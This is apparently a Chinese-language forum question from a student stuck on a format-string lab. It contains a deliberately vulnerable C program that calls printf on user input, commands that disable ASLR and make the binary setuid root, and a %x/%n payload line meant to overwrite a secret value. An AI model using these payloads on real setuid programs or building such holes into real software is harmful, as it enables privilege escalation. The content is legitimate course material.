网络安全一年级学生(我对很多东西都很陌生,比如 Linux 等)
我在我的实验室中修改秘密值时遇到了一些问题。这是我需要做的
gcc -z execstack -o vul_prog vul_prog.c
sudo chown root vul_prog
sudo chmod +s vul_prog
使用字符串格式漏洞Crash程序成功执行以下操作
打印秘密值秘密
修改秘密值secret
用预定值0x42454546修改秘密值secret
获得一个 root shell(额外的学分)
这是我们正在使用的代码
/*vul_prog.c*/
#include<stdio.h>
#include<stdlib.h>
#define SECRET 0x44
int main(int argc, char*argv[]) {
char user_input[200];
int secret;
int a, b, c, d; /*other variables, not used here.*/
/*getting the secret*/
secret = SECRET;
printf("The variable secret’s address is 0x%8x\n", (unsigned int)&secret);
printf("The variable secret’s value is 0x%x or %d\n", (unsigned int)secret, secret);
printf("Please enter a string\n");
scanf("%s", user_input); /*getting a string from user*/
/*Vulnerable place*/
printf(user_input);
printf("\n");
/*Verify whether your attack is successful*/
printf("The original secret: 0x%x or %d\n", SECRET, SECRET);
printf("The new secret: 0x%x or %d\n", secret, secret);
return 0;
}
我知道我的秘密价值是什么,但我无法修改它。我知道我必须使用的命令。我需要修改 44 的存储位置。在我的例子中,地址是 0xbfffeb60
[10/23/19]seed@VM:~/Desktop$ ./vul_prog
The variable secret’s address is 0xbfffeb60
The variable secret’s value is 0x44 or 68
Please enter a string
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.bfffeb64.44.b7fd6b28.b7ff37ec.0.b7fff000.bfffece4.44.2e78252e.252e7825
The original secret: 0x44 or 68
The new secret: 0x44 or 68
到目前为止我使用的命令
sudo sysctl -w kernel.randomize_va_space=0
gcc -z execstack -o vul_prog vul_prog.c
sudo chown root vul_prog
sudo chmod +s vul_prog
之后,我运行程序./vul_prog
并输入一堆 %x 以打印出地址。我的教授说代码vul_prog.c
是从原始代码稍微修改的,我的书使用原始代码,并给出了如何使用修改它的步骤
echo $(printf "\x04\xf3\xff\xbf").%x.%x.%x.%x.%x.%n > input
vul < input
这是输入文件之后的样子
Póÿ¿.%x.%x.%x.%x.%x.%x.%x.%x.%n
运行这些命令后,没有任何变化。然后我在最后添加了 3 个 ".%x" 和 %n,但仍然没有。当我尝试只用
.%x.%x.%x.%x.%x.%x.%x.%x.%n
它会给我一个分段错误
我今天早上试着给他发电子邮件,问他我是否可以在他的办公室见他,告诉他我做错了什么,他还没有回复,所以我希望能从任何专家那里得到更多指导在他的领域。
如果需要,我会添加更多信息。